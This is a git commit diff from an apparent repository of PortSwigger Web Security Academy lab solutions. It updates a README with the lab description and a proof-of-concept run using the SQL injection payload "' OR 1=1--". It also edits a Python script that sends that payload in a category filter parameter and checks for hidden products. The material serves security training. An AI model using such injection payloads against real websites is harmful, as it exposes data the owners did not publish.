twseptian · twseptian · commit 5cfa79c1ac40 · 2022-04-24T12:01:47.000+07:00
edit code and description
diff --git a/port_swigger_academy/sqli/sqli_lab_01/README.md b/port_swigger_academy/sqli/sqli_lab_01/README.md
@@ -36,12 +36,19 @@ This results in the SQL query:
 
 The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since `1=1` is always true, the query will return all items.
 
+## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
+This lab contains an SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out an SQL query like the following:
+
+`SELECT * FROM products WHERE category = 'Gifts' AND released = 1`
+
+To solve the lab, perform an SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.
+
 ## PoC
 ```bash
-$ python3 sqli_lab_01.py https://ac621f871fxxxxxxx.web-security-academy.net "' OR 1=1--"
+$ python3 sqli_lab_01.py https://acb61f551f903c83c0e0809a0059009a.web-security-academy.net "' OR 1=1--"
 
-    >> Port Swigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
-    >> by twseptian
+    >> SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
+    >> by Port Swigger Academy
 
 [✓] SQL Injection successful!
 ```
diff --git a/port_swigger_academy/sqli/sqli_lab_01/sqli_lab_01.py b/port_swigger_academy/sqli/sqli_lab_01/sqli_lab_01.py
@@ -21,8 +21,8 @@ def __init__ (self):
         self.end = '\033[0m'
 
     def header(self):
-        print('\n    >> Port Swigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data')
-        print('    >> by twseptian\n')
+        print('\n    >> SQL injection vulnerability in WHERE clause allowing retrieval of hidden data')
+        print('    >> by Port Swigger Academy\n')
 
     def info (self, message):
         print(f"[{self.white}*{self.end}] {message}")
@@ -46,7 +46,7 @@ def success (self, message):
 def exploit_sqli(url, payload):
     uri = "/filter?category="
     r = requests.get(url+uri+payload, verify=False,proxies=proxies)
-    if "Cheshire Cat Grin" in r.text:
+    if "Robot Home Security Buddy" in r.text:
         return True
     else:
         return False
